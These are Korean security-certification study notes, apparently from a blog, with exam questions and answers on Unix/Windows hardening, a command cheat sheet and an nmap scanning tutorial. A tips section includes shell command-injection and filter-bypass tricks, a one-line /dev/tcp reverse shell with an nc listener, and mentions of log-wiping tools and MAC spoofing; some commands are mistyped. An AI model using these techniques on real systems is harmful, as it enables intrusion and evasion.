 (8) TCP Wrapper가 설치된 경우, 특정 호스트의 접속 허용 내용을 정의한 파일
 (9) 외부에서 사용자의 인증 절차 없이 접속할 수 있는 사용자를 정의한 파일


7. 윈도우즈 NTFS 파일시스템에서 (    A   )는 각 파일의 정보를 포함한 고정길이 레코드(1KB)며, NTFS가 관리하는 디스크에 있는 모든 파일과 일대일로 대응된다. 이 (   A   ) 레코드에는 다양한 속성을 담을 수 있는데, 특히 보안속성을 이용하여 파일시스템 레벨에서 접근권한을 설정할 수 있다.
과거 (   B    ) 파일시스템의 경우 구조가 간단한 반면, 보안이나 장애 발생 시 회복 기능이 없는 문제점이 있어, 이를 보완하고 기능을 확장하여 Windows NT 전용 파일시스템으로 NTFS를 개발하였다.


8. 윈도우의 모든 시스템 정보를 백업 및 복구 하기 위해서 꼭 백업해야 하는 파일은 무엇인가?


9.  윈도우에서 로컬 사용자 계정의 해쉬값은 기본적으로 각각 컴퓨터의 (  A   ) 에 저장되어 존재하며, 이 파일의 위치는 (   B   )에 있으며, 이를 통해 특정 컴퓨터에서 자원에 대한 접근권한을 얻을 수 있다. 하지만 도메인 사용자 계정은 사용자들이 도메인에 로그온 하고, 네트워크에 있는 자원들의 액세스를 획득하는 것을 가능하게 해 주는 계정으로 (   C   )에 저장되어 존재한다.


10. 유닉스 쉘 중 csh를 사용하는 경우 영향을 미치게 되는 대표적인 설정 파일을 2개 이상 적으시오.


11. 공유 라이브러리를 사용하여 응용 프로그램이 어떤 방법으로 사용자를 인증할 것인지 설정하는 것으로, Login, FTP, Telnet 등의 일반적인 서비스 인증 부분에 접근통제를 할 수 있으며, 이 데몬을 활용하여 SU 접근통제 설정도 가능하다. 이것은 무엇이며, 이것의 사용으로 얻을 수 있는 효과는 무엇인가?


12. Unix나 Linux 운영체제 프로그램 중 프로그램이 실행되는 동안 프로그램 소유자의 권한을 가지도록 지정하는 방법을 무엇이라 하는가? 또한 이것이 설정되면 파일 퍼미션 정보가 x에서 어떤 글자로 바뀌게 되는가?


13. Unix 시스템에서 sticky bit 설정이 되어 있는 디렉터리는 (   A    ) 이며, 커널 및 각 프로세스에 대한 정보들을 관리하고 있으며 디바이스 드라이버 동작 감시, 제어 흐름을 바꾸는 등 커널 동작에 필요한 매개변수를 제어할 수 있으나 일반 파일시스템과 달리 데이터를 저장하지 못하는 디렉터리는 (    B   ) 이다.


14. "파티션 섹터" 또는 "마스터 파티션 테이블"이라고 불리는 이것은 하드디스크의 첫번째 파티션을 생성할 때 만들어진다. 항상 디스크의 첫번째 섹터에 위치하며, 디스크의 파티션 테이블과 부팅에 필요한 작은 실행파일을 저장하게 된다. 앞쪽 446 바이트는 실행파일이고, 바로 뒤 64바이트가 파티션 테이블, 마지막 2바이트가 시그니처로 항상 0x55AA를 갖게되어 한 섹터가 512바이트가 되는 이것은 무엇인가?


15. 리눅스/유닉스 파일 시스템인 ext2, ext3에서, 설정파일의 경우 root라도 파일을 변경 및 삭제 할 수 없도록 하는 방법은 무엇이며, 이를 설정하려면 어떤 명령어를 이용해야 하는가?


16. 리눅스 시스템의 /etc/sysctl.conf 파일에 커널 보안을 설정하는 내용을 7가지 이상 기술하고, 그 기본값을 설명하시오.


17. Apache 서버의 httpd.conf 파일 설정의 내용과 기본 값에 대해 설명하시오.


18. 다음의 내용을 서술하시오.
(1) SetUID, SetGID, Sticky Bit 의 각각 권한 비트가 어떻게 되는지 8진수로 적으시오.
(2) rwsrwsrwt에는 어떤 권한설정이 되어 있는지 설명하시오.
(3) 위의 권한을 8진수로 나타내 보시오.  


19. 다음 로그에 대해서 아는 대로 기술하시오.
  (1) history
  (2) secure
  (3) messages
  (4) dmesg
  (5) utmp
  (6) wtmp
  (7) lastlog
  (8) xferlog
  (9) acct, pacct




답-------------------------------------------------------------------------

1. 교착상태는 둘 이상의 프로세스들이 자원을 점유한 상태에서 서로 다른 프로세스가 점유하고 있는 자원을 요구하며 무한정 기다리는 현상으로, 교착상태의 발생 조건에는 프로세스들이 각각 필요자원에 대해 배타적 통제권을 요구하는 상호 배재 상태(Mutual Exclusion), 프로세스가 다른 자원을 요구하면서, 자신에게 할당된 자원을 해제하지는 않는 점유와 대기 상태(Hold & Wait), 프로세스에 할당된 자원을 끝날 때까지 해제할 수 없는 비 중단 상태(Non Preemption), 그리고 프로세스들이 순환을 이루어서 순환 내 이전 프로세스가 요청하는 자원을 점유하고, 다음 프로세스가 점유하고 있는 자원을 요구하는 상태(Circular Wait)의 4가지가 있다.

2. A, B- ext2, ext3
C - 부팅
D - 슈퍼
E - i-Node(index-node)
F - filename

3. A - init
B - 1, C -2, D -4

4. A- umask
B -022
C -755 (drwxr-xr-x)
D -644 (-rw-r--r--)
E-chmod

5.  특수권한 설정 명령어
     sticky bit : chmod 1777 [Sticky-bit Directory]
     SetUID : chmod 4777 [SetUID-File]
     SetGID : chmod 2777 [SetGID-File]
     특수권한 설정 파일 검색 명령어
     sticky bit : find -perm 1000 -print
     setUID : find -perm 4000 -print
     setGID : find -perm 2000 -print
    모두 다 : find -perm 7000 -print
    or find \(-perm 1000 -o -perm 2000 -o -perm 4000\) -print
    or  find / -perm 4000 -o -perm 2000 -o -perm 1000 -exec ls -al {} \;

6.(1) /etc/hosts
(2) /etc/Networks
(3) /etc/hostname
(4) /etc/services
(5) /etc/resolv.conf
(6) /etc/xinetd.conf
(7) /etc/passwd
(8) /etc/hosts.allow
(9) $Home/.rhosts

7. A - MFT (Master File Table)
B - FAT

8. user.dat, system, system.ini, win.ini

9. A - SAM, B- %systemroot%\system32\config\SAM C -Active Directory

10. login, logout, profile, .cshrc

11. PAM(Pluggable Authentication Modules) 패스워드 방식.
   서비스 인증에 접근통제 설정은 물론,  특정한 사용자가 특정 시간, 특정 장소에서만 로그인할 수 있게 제한할 수도 있고, 사용자가 쓸 시스템 자원을 제한할 수 있어 Local DoS 공격을 어느정도 막을 수 있다. 또한 패스워드 암호화에 DES를 사용하지 않기 때문에 Crack이나 Brute Force 공격에도 강하다. 또한 SU 명령에 PAM을 사용하여 사용 제한을 할 수 있다. (/etc/pam.d/su )

12. SetUID, s

13. A - /tmp, B -/proc

14. MBR (Master Boot Record)

15. inode flag에 쓰기금지/삭제금지 속성으로 설정하면 된다.
     chattr +i filename (변경 및 삭제 금지 flag)

16.
(1) ping 요청에 응답하지 않도록
(2) 브로드캐스트 주소로는 ping을 하지 못하도록 (기본값 0)
(3) Syn flooding 공격에 대비해 백로그 큐 설정 값 키우기 (기본값 256)
(4) ICMP redirect 공격을 막기 위해 redirect를 끈다 (기본값 1)
(5) BAD icmp 패킷 무시 (기본값 0)
(6) IP 스푸핑 방지 (기본값 0)
(7) 연결 종료 시간을 줄인다 (기본값 60)
(8) 열 수 있는 로컬 포트 수를 늘린다 (기본값 1024 4996)
(9) Keepalive 시간을 줄인다 (기본값 7200)
(10) IP스푸핑 로그 남긴다 (기본값 0)

17.
(1) Port : http 서비스 포트 번호 지정 (80)
(2) ServerAdmin : 웹 서버 관리자의 전자우편 주소
(3) Timeout: Timeout 값 설정 (1200)
(4) PidFile : 웹 서버 시작 데몬 프로세스 번호
(5) User와 Group : 웹 서버 운영자에 대한 사용자 및 그룹 정보,
                            보안을 위해 주로 root보다는 nobody로 설정 (nobody)
(6) ServerRoot : 홈 디렉터리 설정 (/usr/local/httpd)
(7) AccessFileName : Directory별로 접근 제어할 정보를 담고 있는 파일 (.htaccess)
(8) KeepAlive : 한번 접속한 채 특별 요청이 없어도  지속 연결 허용 여부(ON --> Off)
(9) ServerSignature : 버전 정보 표시 (On --> Off)

18.
(1) 4000, 2000, 1000
(2) 모든 사용자(소유자, 그룹, other) 모두 읽고 쓰고 실행권한이 있으며,
    SetUID, SetGID, Sticky Bit가 설정되어 있다.
    SetUID가 설정되면, 실행중일 동안 소유자의 권한으로 실행이 되며,
    SetGUD가 설정되면, 실행중일 동안 그룹의 권한으로 실행이 되며,
    Sticky Bit가 설정되면, 파일 소유자, 그룹, other 모두 실행할 수 있지만, 파일 소유자, 디렉터리 소유자, root를 제외하고는 파일을 삭제할 수는 없다.
(3) 7777

19.
(1) 위치 :  $home/.history, $home/.bash_history
사용자가 입력한 명령어에 대한 기록이 남은 파일이다. acct나 pacct에도 명령어에 대한 기록이 남지만 history에서는 디렉토리 정보와 argument까지 상세한 정보가 남아 공격자의 행위 분석에 용이하다. 백도어 설치 등에 대한 확인을 위해서는 root의 홈 디렉토리 내의 history 파일을 확인하는 것이 좋다.

(2) 위치 : /var/log/secure
secure 파일은 주로 보안과 관련된 기록이 남은 파일로 사용자 인증 관련 로그를 포함하고 있다. 여기서의 인증은 telnet, ssh, ftp외에도 pop 인증 등 모든 네트워크 상의 인증이 포함된다. secure 파일은 syslogd 데몬에 의해서 남겨지게 되며, 바이너리 로그가 아니기 때문에 cat이나 vi 명령어로도 쉽게 확인이 가능하다. secure 파일 내에는 timestamp 정보, demon, host명 등의 형식으로 기록이 된다.

(3) 위치: /var/log/messages
 messages는 콘솔상에 출력되는 메시지들에 대한 기록이 남은 파일이다. 주로 시스템 관리자들이 시스템 장애 원인 분석 등을 확인하기 위해서 messages 파일을 점검한다. 이 파일에는 디스크 full, 디바이스 오류 메시지, 시스템 설정 오류 메시지 등 다양한 내용이 들어 있다. messages 역시 slsogd 데몬에 의해 남겨지며 로그인/설정/장치 정보의 전체적인 로그가 남겨져 있다.백도어 등의 설치 시도나 공격에 대한 오류메시지 등이 남아 있을 수 있으므로 어떤 취약점으로 공격 받았는지 확인하기 위해 보기도 한다.

(4) 위치 : /var/log/dmesg
 dmesg는 부팅 시 기록되는 로그로 "dmesg"라는 명령어를 실행하여 볼 수 있다. 커널에서 출력되는 메시지가 표시 되기 때문에, kernel의 crash된 메모리 주소 등을 볼 수 있다.

 (5) 위치 : /var/run/utmp
   "w"나 "who", "users", "finger" 등의 명령어를 이용하여 볼 수 있으며 바이너리 파일 형태이다. 현재 시스템에 로그인 한 각 사용자의 상태가 남겨져 있다.

  (6) 위치 : /var/log/wtmp
    "last" 명령어를 이용하여 볼 수 있으며, 바이너리 형태의 파일이다.
    (예. last [계정명] :  last -n 3 root //root 계정에 대한 3개의 최근 접속정보)
   로그인, 로그아웃, 시스템의 재부팅에 대한 정보가 남겨져 있다.

  (7) 위치 : /var/log/lastlog
      "lastlog" 명령어를 이용하여 볼 수 있으며, 시스템 계정 사용자들이 마지막으로 로그인 한 정보가 남는다.

  (8) 위치 : /var/log/xferlog
   FTP 서버의 데이터 전송 관련 로그로 파일의 송수신 모드, 특수 행위 플래그 정보, 전송 방향, 로그인한 사용자 종류에 대해 남는다.
 
   (9) 위치 : /var/account/pacct
    프로세스 어카운트에 대한 정보로, 시스템에 로그인한 모든 사용자 별로 실행한 프로세스에 대한 정보, 명령어가 기록된다. 이 로그는 "lastcomm" 명령어나 "acctcom" 명령어를 이용해서 볼 수 있다. 이 로그를 통해 사용자별로 사용한 명령어를 구분하는데에는 유용하지만, 그 명령어가 어느 파일시스템의 어느 디렉토리에서 실행되었는지를 알수는 없다.





Basic UNIX/Linux commands

사용자 관련 : 접속자가 하는일, 나?, 마지막 접속자?
who, whoami, id, finger
lastlog  
last  ([user])       //wtmp 로그 참조 (login, logoff, system off msg)                  
lastcomm            //pacct로그(login부터 logoff까지의 사용 명령어) 참조
w                        //utmp로그 참조 (현재 로그인한 사용자들의 시스템 활동)

쉘 변경
chsh

날짜/시간 확인
date
 date --date='@12345678'
>> 로그 상 찍힌 시간을 현재 한국 시간으로 변환해서 보는 방법

네트워크 설정 확인
ifconfig -a
ifconfig eth0 promisc
netstat -anp
traceroute

시스템 정보 확인
uname -a (-r) << 운영체제 정보
top
ps -ef (-aux)
pstree
du/df -h <<  disk usage
ls -aslgR /bin/etc/user
hostname
login.defs << 암호 길이 지정
uptime
free -m << 메모리 사용 현황
lsof  -- 실행중인 프로세스 이름과 연결상태 정보 (list open file)
cat /proc/cpuinfo
cat /proc/meminfo

도메인 네임 검색 등
nslookup
dig  (dig 4.3.2.1(역방향).origin.asn.cymru.com txt +short )
host
whois

네트워크 관련 작업
tcpdump
tshark -i eth0 -w /tmp/test.pcap
tshark -r http
nmap

컴파일
gcc -o A A.c

서버 점검용 보안 툴
1) 호스트 기반 취약점 점검 도구
cops -- 파일, 디렉터리, 디바이스 퍼미션, 암호, 스타트업 파일... 등 점검
tiger -- $home 이상 유무, 암호 적절성, 시스템 파일 권한 ... 등 점검
chkacct -- 계정 취약점 및 파일 퍼미션, .rhosts 파일 등 점검

2) 호스트/네트워크 취약점 점검 도구
Nessus

3) 무결성 점검 도구
Tripwire -- 시스템 무결성 점검, 파일 내용의 체크섬 값 계산
md5, Sha2, Sha256 ...

4) 접근통제 및 로깅
TCP Wrapper -- 네트워크 서비스 접근통제 및 로그
xinetd
IPFilter (Solaris)
iptables

5) Rootkit 점검
 chkrootkit, RKscan

6) SATAN 탐지
 Gabriel, Courtney

7) 로깅 및 로그 분석, 삭제
 swatch, clearlog
 chkwtmp, wipe, zap

8) 기타
Jhon the ripper -- 패스워드 크랙
Ttywatcher -- 시스템 내 로그온 한 모든 tty와 커널과의 통신 도청
snort -- 오픈소스 침입탐지 툴


기본 시스템 명령어
mv/cp [file] [경로] -- move/copy 명령어
rm -f [file] -- remove 명령어
cd/mkdir [directory] -- change directory/make directory 명령어
sudo [command] -- swith user 명령어, 주로 root 권한의 작업을 수행할 때 이용함
kill [PID] -- 해당 PID에 해당하는 프로세스를 kill
vi [filename]
cat [filename]
grep [strings] -- 해당 string 찾기
finger [username] -- 사용자에 대한 많은 정보를 제공
rlogin/telnet/ftp/ssh [hostname] -- rlogin, telnet, ftp, ssh 접속
chmod xxx -- change mode
chown xxx -- change ownership
touch [파일명] -- 0 byte 크기의 파일 생성
passwd -- 암호 변경
man -- 매뉴얼 페이지 정보
sort -- 파일 정렬
file -- 파일 종류 확인
useradd/userdel/adduser  -- 사용자 계정 생성 및 삭제
groupadd/groupdel -- 그룹 생성 및 삭제
pwconv/pwunconv -- 패스워드 파일 shadow 파일 동기화, 패스워드 정책.
tar -xvfz [filename.tar.gz]
diff     (diff -uNr orig.Backup New.Chk > Patch.file )
awk -F '{print $1]'
uniq -c
umask 022



Sample 명령어들

cat test.log | awk -F '[print $1,$2,$5]' | sort -n | uniq -c

ps -ef | grep xinetd

rpcinfo -p | grep 1000009

find / -type f \(-perm 04000 -o -per 02000 \) -exec ls -lg [] \;

chmod u-s /usr/sbin/suid_file

find / -nouser -o -nogroup -print

find / -name '*.tmp' -mtime 30 -print -exec rm [] \;

find / -name .rhost -exec rm {} \; &

find / -user hacker -exec rm {} \; &

find / -type f \(-perm 2 -o -perm 20 \) -exec ls -lg [] \;

find / -user root -perm 4000 -exec rm {}\;

find / ₩( -nouser -o -nogroup ₩) ₩-exec chown root.root {} ₩;

find / -name .rhosts -exec ls -l {} ₩;

find / -name ".*" -print -xdev | cat -v

find / -ctime 7 -ls

chattr +i /etc/services

chown root.users /bin/chmod

zcat ./2013-11-2*/http* | grep "test.com" | awk '{print $11}' | sort | uniq -c

cat /current/conn.log | grep "ftp-data" | awk '{print $4,$5}'

rpcinfo -p |grep 100009

iptables -A INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
iptables -A INPUT -p tcp --tcp-flags ACK.FIN FIN -j DROP
iptables -A INPUT -p tcp --sport 1024: --dport 80 -m state --state NEW -j ACCEPT

iptables -A FORWARD -p icmp --icmp-type echo-request -j ACCEPT
iptables -A FORWARD -p tcp -s 192.168.0.1/24 -d 192.168.1.0/24 --dport 22 -j ACCEPT
iptables -A FORWARD -p udp -d 192.168.3.1 --dport 53 -j ACCEPT







유용한 Unix (Command) Tip


netstat -nap
 현재 열려있는 포트들 뿐 아니라 PID 값과 프로그램 경로 위치까지 보임

pstree
 ps나 top 명령이 막혀 있을 때 사용 가능, 단 /proc이 막혀 있다면 불가능

ifconfig
 랜카드의 갯수, 장치 아이피 주소. 망 접속 환경에 따라 추가적인 ip 부여도 가능함

dmesg
 kernel에서 출력되는 메시지를 볼 수 있다.
 overflow 나는 부분의 메모리 주소 등을 확인할 수 있으며, 운 좋으면 남이 실행한 익스플로잇
  성공이 실행되는 메시지 주소값도 확인이 가능

curl
 wget과 하는 일이 똑같음. wget이 막혀있을때 사용

nmap
 네트워크 포트 스캐닝으로 좋음 (설치해야 함)

cat /proc/self/maps
현재 실행되고 있는 프로세스의 메모리 영역 Heap과 Stack
(단 권한이 있어야 보임)

cat /proc/self/environ
현재 실행되고 있는 프로세스의 환경변수 확인 가능

cat /dev/vcs[N]
root 권한 유저만 읽기가 가능. (virtual console switch)
[N]은 1~63까지 존재, 접속한 콘솔 번호에 대한 화면 덤프를 보여줌

ls -al /dev/pts
 who나 w 명령어가 막혀있을 때, 쓸 수 있는 명령어
 해당 리스트의 소유자 정보로 누가 로그인 중인지가 확인이 가능함
 tty는 콘솔로 접속, tts는 터미널 접속자를 의미함.
 이 명령어를 잘만 이용하면 다른접속자를 낚을 수 있는 명령어를 보낼 수도?
     echo “ls -al “ > /dev/pts/1

less
 cat이나 vi가 막혀있을때.. 비슷한 결과가 출력됨

echo *
  ls와 비슷한 결과가 출력됨.


gdb -q ./[파일명]
시스템 메모리 구조 및 분석 툴로, disassemble로 메모리 분석.

shellcode를 이용한 명령어 사용
만약 cat, less 등 파일 읽기 명령어를 사용하지 못할 경우 쉘 스크립트를 이용할 수 있다.
while read line ; do echo $line; done < /etc/passwd[파일 이름]


nmblookup/   smbclient
리눅스에서 윈도우로 공유 폴더 사용할 때. (samba/netbios)


Shell command injection
명령어를 2개 이상 실행 시키는 방식으로.
(;, &는 백그라운드 실행, `~~~` command injection, $ 환경변수 이용 )
  ls -al ;id
  ping -t google.co.kr&ls
  ping -t google.co.kr`ls`  ← ls 결과값을 파싱해서 윗 명령에 던져줌
  
A =ls
$A
하면 ls 명령어를 친 것과 동일한 결과


or
A =l
A+=s
$A

이렇게 해도 ls 명령어 친 것과 동일한 결과. ls 자체 입력을 막은 경우 사용.

1줄 reverse telnet
[192.168.1.2]
exec /bin/sh 0 < /dev/tcp/192.168.1.1/9999 1>&0 2>&0

여기서

0 = stdin (표준 입력) 예. /bin/sh에서 표준 입력값을< 이후에서 받겠다는 의미의 명령어
1 = stdout (표준 출력) 예. 1>&0 표준 출력을 표준 입력으로 출력
2 = stderr (표준 에러) 예. 2>&0 표준 에러를 표준 입력으로 출력
>, < 는 정보의 흐름을 표시함.

[192.168.1.1]
192.168.1.1에서 nc를 이용하여 9999 포트 리스닝 중이라면,
nc -lvp 9999 (9999 포트에 대해서 리스닝 중)
이후 192.168.1.2로의 reverse telnet이 먹혀 명령어 실행 및 출력이 가능해진다.



IP만 알고 있는 리눅스 서버의 호스트네임 찾기
1) host [ip address]
2) ping -a [ip address]
  arp -a
3) nslookup [ip address]
4) dig -x [ip address]
내부나 외부 DNS에 등록되어 있는 경우는 위와 같이 확인이 가능.



2013/12/01

[tool] nmap, network scanning tool

nmap은 가장 기본적인 네트워크 스캐닝 툴로, 실제로 다양한 옵션 정보를 지원해 주는 강력한 툴이다.
더 상세한 옵션 값 및 설정 정보는 실제 nmap의 헬프 메시지를 통해 습득하도록 한다.

NMAP 주요 옵션 정보


옵션값 설명
-iL 파일경로 스캔할 리스트를 읽어들인다 (nmap -iL /tmp/test.txt)
-oN 파일경로 결과값 파일로 저장 (nmap -oN /tmp/result.txt 192.168.0.1)
-v 자세한 정보를 보여준다
-f 패킷을 아주 작게 쪼개서 보낸다
-F Fast Scan , well-known port만 스캐닝
-P0 ICMP echo requests를 막아놓은 곳도 네트워크 스캔이 가능 (호스트 discovery를 생략하고 모두 online 상태로 간주한다는 뜻)
-PT ICMP 대신 TCP 패킷을 사용, ACK를 보내여 RST 받기를 기다림
-p 포트 범위 연속된 포트는 -를, 연속되지 않는 경우는 ,를 구분자로 사용
-sT TCP Connect scan, connect()를 이용한 스캔으로 Listen 상태이면 성공
-sS TCP SYN scan, 응답이 SYN과 ACK이면 Listen 상태, RST이 응답이면 Non Listen 상태, 로그가 남지 않는다
-sA TCP ACK scan, ACK을 보내므로 RST를 받으면 Unfilter 상태, 방화벽 상태 확인에 사용
-sW Window scan, ACK Scan과 비슷한데 open port도 알 수 있다
-sF Stealth Fin scan, Open 포트로 FIN을 보내면 패킷을 무시하고, Non Listen 포트로 FIN을 보내면 RST 패킷이 온다
-sX XMAS Tree scan, FIN 스캔과 비슷 TCP의 여러 플래그(FIN,PUSH, URG등)를 설정하여 보냄
-sN Null scan, FIN 스캔과 비슷.모든 플래그를 끈 상태로 패킷을 보냄
-sP Ping scan,icmp 패킷을 보냄. RST이거나 UP이거나 모두 호스트가 살아있음
-sU UDP scan, 오픈된 UDP 포트를 스캔한다.
-b FTP bounce scan, 익명 FTP 서버를 이용해 그 FTP를 경유하여 호스트를 스캔
-O 호스트의 운영체제 정보를 보여준다
-sR RPC scan, prcinfo -p와 비슷한 정보를 얻을 수 있다
-6 IPv6 스캐닝


NMAP 사용 예

[root@forensic] # nmap -sS -O -p 1-1024,6000 192.168.0.1

Port  State  Service
21/tcp  open  ftp
22/tcp  open  ssh
23/tcp  filtered  telnet
80/tcp  open  http
443/tcp  open https
Remote operating system guess : Linux Kernel 2.4.0 - 2.5.20(x86)
Uptime 1,321 days (Since Fri Oct 2 11:42:22 2009)
Nmap run completed -- 1 IP address (1 host up) scanned in 107 seconds


[root@forensic] # nmap -sP 192.168.1.0/24

Host 192.168.1.1 is up (0.00035s latency).
MAC Address: BC:AE:C5:C3:16:93 (Unknown)
Host 192.168.1.2 is up (0.0038s latency).
MAC Address: 74:44:01:40:57:FB (Unknown)
Host 192.168.1.5 is up.
Host nas03 (192.168.1.12) is up (0.0091s latency).
MAC Address: 00:11:32:11:15:FC (Synology Incorporated)
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.80 second


[root@forensic] # nmap -v -O --osscan-guess 192.168.1.1

Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-27 01:29 IST
NSE: Loaded 0 scripts for scanning.
Initiating ARP Ping Scan at 01:29
Scanning 192.168.1.1 [1 port]
Completed ARP Ping Scan at 01:29, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:29
Completed Parallel DNS resolution of 1 host. at 01:29, 0.22s elapsed
Initiating SYN Stealth Scan at 01:29
Scanning 192.168.1.1 [1000 ports]
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 22/tcp on 192.168.1.1
Completed SYN Stealth Scan at 01:29, 0.16s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.1.1
Retrying OS detection (try #2) against 192.168.1.1
Retrying OS detection (try #3) against 192.168.1.1
Retrying OS detection (try #4) against 192.168.1.1
Retrying OS detection (try #5) against 192.168.1.1
Host 192.168.1.1 is up (0.00049s latency).
Interesting ports on 192.168.1.1: Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: BC:AE:C5:C3:16:93 (Unknown)
Device type: WAP|general purpose|router|printer|broadband router
Running (JUST GUESSING) : Linksys Linux 2.4.X (95%), Linux 2.4.X|2.6.X (94%), MikroTik RouterOS 3.X (92%), Lexmark embedded (90%), Enterasys embedded (89%), D-Link Linux 2.4.X (89%), Netgear Linux 2.4.X (89%)
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (95%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (94%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (94%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.15 - 2.6.23 (embedded) (92%), Linux 2.6.15 - 2.6.24 (92%), MikroTik RouterOS 3.0beta5 (92%), MikroTik RouterOS 3.17 (92%), Linux 2.6.24 (91%), Linux 2.6.22 (90%)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.00%D=11/27%OT=22%CT=1%CU=30609%PV=Y%DS=1%G=Y%M=BCAEC5%TM=50B3CA
OS:4B%P=x86_64-unknown-linux-gnu)SEQ(SP=C8%GCD=1%ISR=CB%TI=Z%CI=Z%II=I%TS=7
OS:)OPS(O1=M2300ST11NW2%O2=M2300ST11NW2%O3=M2300NNT11NW2%O4=M2300ST11NW2%O5
OS:=M2300ST11NW2%O6=M2300ST11)WIN(W1=45E8%W2=45E8%W3=45E8%W4=45E8%W5=45E8%W
OS:6=45E8)ECN(R=Y%DF=Y%T=40%W=4600%O=M2300NNSNW2%CC=N%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID
OS:=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 12.990 days (since Wed Nov 14 01:44:40 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=200 (Good luck!)
IP ID Sequence Generation: All zeros
Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds
Raw packets sent: 1126 (53.832KB) | Rcvd: 1066 (46.100KB)


map -p [port] hostName
## Scan port 80
nmap -p 80 192.168.1.1
 
## Scan TCP port 80
nmap -p T:80 192.168.1.1
 
## Scan UDP port 53
nmap -p U:53 192.168.1.1
 
## Scan two ports ##
nmap -p 80,443 192.168.1.1
 
## Scan port ranges ##
nmap -p 80-200 192.168.1.1
 
## Combine all options ##
nmap -p U:53,111,137,T:21-25,80,139,8080 192.168.1.1
nmap -p U:53,111,137,T:21-25,80,139,8080 server1.cyberciti.biz
nmap -v -sU -sT -p U:53,111,137,T:21-25,80,139,8080 192.168.1.254
 
## Scan all ports with * wildcard ##
nmap -p "*" 192.168.1.1
 
## Scan top ports i.e. scan $number most common ports ##
nmap --top-ports 5 192.168.1.1
nmap --top-ports 10 192.168.1.1
 
### Spoof your MAC address ##
nmap --spoof-mac MAC-ADDRESS-HERE 192.168.1.1
 
### Add other options ###
nmap -v -sT -PN --spoof-mac MAC-ADDRESS-HERE 192.168.1.1

 
### Use a random MAC address ###
### The number 0, means nmap chooses a completely random MAC address ###
nmap -v -sT -PN --spoof-mac 0 192.168.1.1 
## TCP Null Scan to fool a firewall to generate a response ##
## Does not set any bits (TCP flag header is 0) ##
nmap -sN 192.168.1.254
 
## TCP Fin scan to check firewall ##
## Sets just the TCP FIN bit ##
nmap -sF 192.168.1.254
 
## TCP Xmas scan to check firewall ##
## Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree ##
nmap -sX 192.168.1.254 
### Stealthy scan ###
nmap -sS 192.168.1.1
 
### Find out the most commonly used TCP ports using  TCP connect scan (warning: no stealth scan)
###  OS Fingerprinting ###
nmap -sT 192.168.1.1
 
### Find out the most commonly used TCP ports using TCP ACK scan
nmap -sA 192.168.1.1
 
### Find out the most commonly used TCP ports using TCP Window scan
nmap -sW 192.168.1.1
 
### Find out the most commonly used TCP ports using TCP Maimon scan
nmap -sM 192.168.1.1
 



..